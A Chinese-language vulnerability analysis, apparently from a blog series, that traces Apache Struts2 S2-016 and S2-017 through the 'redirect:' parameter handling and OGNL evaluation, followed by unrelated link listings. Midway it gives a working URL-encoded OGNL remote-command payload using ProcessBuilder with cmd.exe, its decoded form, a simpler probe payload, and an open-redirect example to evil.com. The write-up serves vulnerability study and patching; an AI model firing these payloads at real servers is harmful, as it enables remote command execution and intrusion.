S2-016、S2-017
前言
由于S2-016、S2-017出现的原因时相同的,只是由于poc不一样,造成了不同的攻击。S2-016是RCE,S2-017是开发型重定向漏洞。这里将两个漏洞放一起分析。另外“Struts2系列起始篇”是我整各系列的核心,希望大家能花些时间先看看。
正文
在起始篇中我们讲到过,Struts2在StrutsPrepareFilter中通过DefaultActionMapper.getMapping获取action对应的action mapper时会调用handleSpecialParameters对请求的url后面的特殊参数做判断。跟进getMapping函数

跟进handleSpecialParameters方法:

在362行处,prefixTrie实际上就是一个类似Map<String,Object>的数据结构(具体实现不重要),在DefaultActionMapper的构造函数中就已经初始化了prefixTrie。

可以看到prefixTrie有资格key,分别是method:、action:、redirect:、redirect-action:。当请求参数中有这四个参数中的某一个时,将会调用对应的value(一个ParameterAction)的execute方法。我们看一下官方的介绍,可以知道action:、redirect:、redirect-action:这三个是有问题的。

我们选择其中的“redirect: ”跟进对应的execute方法就好了

方法内先是创建了一个ServletRedirectResult对象,然后调用ServletRedirectResult的sertLocation方法设置跳转的url(可以看到是用的url后面的redirect参数分割后赋值的,假设我们访问"http://localhost:8088/struts2-showcase-2.1.6/skill/edit.action?redirect:xxx",那么action mapper的location就是”xxx“),最后将该ServletRedirectResult放入action mapper中,到这里两个漏洞的source点就分析出来了。
我们在第一篇文章中讲过,在Dispatcher.serviceaction()执行action前都会判断actionmapper中是否有result属性,有的话将调用result的execute方法而不会进入action中了。

由于这里分析起来较为麻烦,也难以说清楚,我们访问"http://localhost:8088/struts2-showcase-2.1.6/skill/edit.action?redirect:xxx"后直接debug

F5步入,发现先是进入了StrutsResultSupport的execute方法,这是因为StrutsResultSupport是ServletRedirectResult的父类,而ServletRedirectResult自己有没有实现execute方法。

方法中先是调用conditionalParse解析location,再调用ServletRedirectResult.doExecute进行真正的跳转。跟进conditionalParse方法中:

继续F5步入进入TextParseUtil.translateVariables方法中,发现其调用了translateVariables,其中初始化了一个char[]是”%“和"$",这是方便后面识别表达式(S2-027中就是因为ActionSupport类中的getText方法调用了此方法导致ognl表达式执行,ActionSupport是所有Action的父类,后面将不再分析此漏洞)

继续跟进:


方法很长,但是内容很简单,大致就是判断location是否是表达式,如果是则进入stack.findValue(),由于这里我们的POC中location是”xxx“,所以我们进不去,先不管,之后我们改下poc再进这个方法中看看。回到StrutsResultSupport的execute方法中,这个时候我们知道了原来conditionalParse解析location就是判断location是不是ognl表达式,然后进入了ServletRedirectResult.doExecute方法中


OK!到这里,S2-017这个开放型重定向漏洞就被分析出来了,我们只需改下poc,让location为“http://www.baidu.com”就好了。"localhost:8088/struts2-showcase-2.1.6/viewSource.action?redirect:http://www.evil.com"

回到之前我们没有进去的代码,现在我们再将poc修改下,让location以”${“开头以”}“结尾,进入循环代码,访问”localhost:8088/struts2-showcase-2.1.6/viewSource.action?redirect:${xxxx}“,发现后台tomcat报错了

这是由于url中不让有特殊字符,需要url编码,这个时候有经验的朋友可能会问:”为什么我以前利用S2的其他漏洞,ognl表达式都没有url编码,照样能用呢?“,我看过其他朋友关于S2-016的分析,也都遇到这个问题了,就是S2-016不编码的poc用不了。

这里我简单的测试了一下并没有得出结论,最开始以为是浏览器识别时发现没有“=”不会自动进行url编码,后来经测试发现压根就不是这样的。不过从上面报出的异常栈中可以看到,请求压根没到struts2,是tomcat报错了,所以我觉得应该和漏洞本身无关。不过貌似不管怎样poc最好还是url编码下吧。。。
将poc修改下,重新访问”localhost:8088/struts2-showcase-2.1.6/viewSource.action?redirect:%24%7Bxxxx%7D“

debug一下能发现这里的值栈其实是OgnlValueStack,我们在第一篇文章中也讲过,创建值栈时创建的是其默认实现类OgnlValueStack。F5步入:

可以看到表达式参数expr就是”xxxx“,继续跟进ognlUtil.getValue

到这里就可以看到将会执行ognl表达式了。至于为什么,后面会专门介绍OGNL的。现在我们将poc修改成如下”localhost:8088/struts2-showcase-2.1.6/skill/edit.action?redirect:%24%7B%23a%3D%28new%20java.lang.ProcessBuilder%28new%20java.lang.String%5B%5D%7B%27cmd.exe%27%2C%20%27%2fc%27%2C%27ipconfig%27%7D%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B500%5D%2C%23d.read%28%23e%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23d.read%28%23e%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D“
访问会提示下载,下载下来打开里面就是执行的代码结果了。


OGNL表达式
其实百度百科就已经说的比较清楚了,看下介绍:

可以看到OGNL就是用来访问对象且可以调用对象的方法的,如果我们能访问ProcessBuilder、Runtime这些对象并调用他们的方法岂不是就可以执行任意命令了。
先看下OGNL表达式的语法:

上面对Ognl表达式的用法做了些简单的介绍,至于为什么Ognl.getValue会执行表达式,这个需要看OGNL源码才型,感觉在这里分析它没有必要。知道了上面这些用法就足以让我们理解poc和写poc了。值得注意的是早期S2的漏洞中使用的POC都是通过
”**@[类全名(包括包路径)]@[方法名 | 值名**“
来获取ProcessBuilder、Runtime这些对象的,后来struts2禁用了静态方法调用,所以大家将poc改为直接new
一个ProcessBuilder或Runtime来执行命令。现在我们将上面的poc url解码后分析下:
${#a=(new
java.lang.ProcessBuilder(new java.lang.String[]{'cmd.exe',
'/c','ipconfig'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new
char[500],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}
看起来好像代码很多,实际上就是new一个ProcessBuilder对象执行了ipconfig命令,然后将输出结果用io流读取后通过HttpServletResponse返回。也可以使用如下较为简单的方法进行验证漏洞是否存在(记住需要url编码):
${#p=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),#p.println("hacker"),#p.close()}
S2-018
这里不打算分析S2-018了,只是简单的提一下,我们分析S2-016和S2-017时是通过跟进"redirect:"这个特殊的参数来分析的,实际上”redirect-action“和”action:“也有问题,其中S2-018就和”action:“相关,看下官方介绍:

大概意思就是通过指定”action:“可以越权,由于漏洞影响不大,我没有分析它,感兴趣的小伙伴可以自行跟进
修复方法
S2-016、S2-017、S2-018影响范围在Struts 2.0.0 - Struts 2.3.15.2 。Struts 2.3.15.3的版本中已经将这三个特殊参数都删除了
参考文章
https://cwiki.apache.org/confluence/display/WW/Security+Bulletins
S2-016、S2-017的更多相关文章
- 电源相关知识—S0、S1(POS)、S2、S3(STR)、 S4、S5、睡眠、休眠、待机
转 http://blog.sina.com.cn/s/blog_52f28dde0100l3ci.html APM https://en.wikipedia.org/wiki/Advanced_Po ...
- 016、Dockerfile 常用命令(2019-01-07 周一)
参考https://www.cnblogs.com/CloudMan6/p/6864000.html Dokcerfile常见命令 FROM 指定base镜像 MAINTAINER ...
- 016、Java中使用小数
01.代码如下: package TIANPAN; /** * 此处为文档注释 * * @author 田攀 微信382477247 */ public class TestDemo { public ...
- 016、MySQL取本年第一季度开始日期
#取第1季度开始日期 SELECT date_add( dy, INTERVAL ( ) MONTH ) dy FROM ( ) dy ) x ; 效果如下: 不忘初心,如果您认为这篇文章有价值,认同 ...
- Java数据结构和算法(六)——前缀、中缀、后缀表达式
前面我们介绍了三种数据结构,第一种数组主要用作数据存储,但是后面的两种栈和队列我们说主要作为程序功能实现的辅助工具,其中在介绍栈时我们知道栈可以用来做单词逆序,匹配关键字符等等,那它还有别的什么功能吗 ...
- Java数据结构和算法(六):前缀、中缀、后缀表达式
前面我们介绍了三种数据结构,第一种数组主要用作数据存储,但是后面的两种栈和队列我们说主要作为程序功能实现的辅助工具,其中在介绍栈时我们知道栈可以用来做单词逆序,匹配关键字符等等,那它还有别的什么功能吗 ...
- C语言--关键字 typedef
一.typedef 1.基本使用 1> typedef 在基本数据类型中的使用 typedef int MyInt; // 相当于给 int 起了一个别名 typedef MyInt MyInt ...
- CCIE路由实验(8) -- QoS
1.查看端口缺省的队列机制2.配置CB-WFQ3.配置CB-LLQ4.配置CB-Shapping在以太接口下5.配置CB-Shapping在FR接口下6.配置帧中继流量整形FRTS7.配置CB-Pol ...
- Pyhton编程(四)之基本数据类型-字符串详解
一:字符串是什么? 字符串是Python最常用的一种数据类型,虽然看似简单,但能够以不同的方式来使用它们. 字符串就是一系列的字符,在Python中,用引号括起来的都是字符串,其中的引号可以是单引号, ...
- 一个对象toString()方法如果没有被重写,那么默认调用它的父类Object的toString()方法,而Object的toString()方法是打印该对象的hashCode,一般hashCode就是此对象的内存地址
昨天因为要从JFrame控件获取密码,注意到一个问题,那就是用toString方法得到的不一定是你想要的,如下: jPasswordField是JFrame中的密码输入框,如果用下面的方法是得不到密码 ...
随机推荐
- 网络爬虫urllib:request之urlopen
网络爬虫urllib:request之urlopen 网络爬虫简介 定义:按照一定规则,自动抓取万维网信息的程序或脚本. 两大特征: 能按程序员要求下载数据或者内容 能自动在网络上流窜(从一个网页跳转 ...
- spring cloud+.net core搭建微服务架构
http://www.cnblogs.com/longxianghui/p/7800316.html
- java8中计算两个日期时间LocalDateTime的时间差,格式化成xx年yy月zz日aa时bb分cc秒
原则上应该适用Period来计算,因为他是专门为这种需求设计的.当时他只能计算到两个时间差的,年月日 传入参数Period.between(LocalDate,LocalDate) 这里是计算两个Lo ...
- mysl创建用户+授权+增、删、改查
1.mysql的root用户无法给普通用户授权问题处理 update mysql.user set Grant_priv='Y' where User='root' and Host='%': flu ...
- 动态PHP电商网站伪静态的 Nginx反向代理Cache缓存终极设置
转自: http://www.ttlsa.com/nginx/dynamic-php-nginx-cache/
- robot:生成随机的8为纯数字
1.引进random库 2.注意最后面的random为需要引入的包
- 三节课MINI计划第二周
任务:完成一份用户反馈的收集,并进行分析 第一步:去你能想到的公开.非公开渠道收集最近90天,至少40条和B站相关的有效用户差评反馈,并根据你对业务的理解分类整理,以表格的形式进行整理,以图片的方式提 ...
- 【VS开发】【CUDA开发】如何在MFC中调用CUDA
如何在MFC中调用CUDA 有时候,我们需要在比较大的项目中调用CUDA,这就涉及到MFC+CUDA的环境配置问题,以矩阵相乘为例,在MFC中调用CUDA程序.我们参考罗振东iylzd@163.com ...
- IBM.WMQ订阅消息
网上关于IBM这个消息队列中间件的资料相对比较少,C#相关的资料就更少了,最近因为要对接这个队列中间件,花了不少功夫去搜索.整理各种资料,遇到很多问题,因此记录下来. 1.基于 amqmdnet.dl ...
- 转:SLAM算法解析:抓住视觉SLAM难点,了解技术发展大趋势
SLAM(Simultaneous Localization and Mapping)是业界公认视觉领域空间定位技术的前沿方向,中文译名为“同步定位与地图构建”,它主要用于解决机器人在未知环境运动时的 ...